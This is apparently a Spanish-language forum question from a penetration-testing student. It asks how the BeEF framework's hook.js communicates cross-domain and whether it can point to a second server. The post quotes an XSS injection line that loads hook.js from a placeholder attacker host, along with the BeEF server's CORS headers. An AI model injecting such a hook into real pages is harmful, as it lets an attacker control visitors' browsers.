Estoy estudiando BeEf XSS ya que creo que es una herramienta muy interesante para un probador de penetración, pero tengo algunas dudas al respecto, en particular al vincularlo con la Solicitud de dominio cruzado.
Por lo tanto, de alguna manera podemos obligar al navegador del usuario a incluir la siguiente etiqueta hmtl:
<script src="http://X.X.X.1:3000/hook.js"></script>
El navegador no se queja, ya que el atributo src puede contener cualquier dominio, no solo el que el usuario está navegando. Entonces, como lo entiendo, hook.js no está abriendo un puerto en el cliente ya que no es compatible con JS, pero extrae comandos haciendo un XMLHttpRequest desde el servidor BeEF (que está codificado en el archivo hook.js).
Luego ejecuta los comandos en el navegador y envía el resultado (por supuesto, debe haber una especie de protocolo interno que el servidor BeEF entienda). La razón por la que funciona, es que el servidor BeEF establece los siguientes elementos en el encabezado HTTP:
HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive
Olí esto cuando intenté todo en local, así que básicamente existe la directiva Access-Control-Allow-Origin
por la cual el navegador del usuario permitirá esta comunicación.
¿Mi pensamiento es correcto?
Además, ¿sabe si hook.js puede recuperarse desde el servidor A, pero luego apunta al Servidor B? De lo contrario, básicamente está mostrando la dirección de la máquina en la que está alojado el hook.js y también debe tener acceso a esa máquina.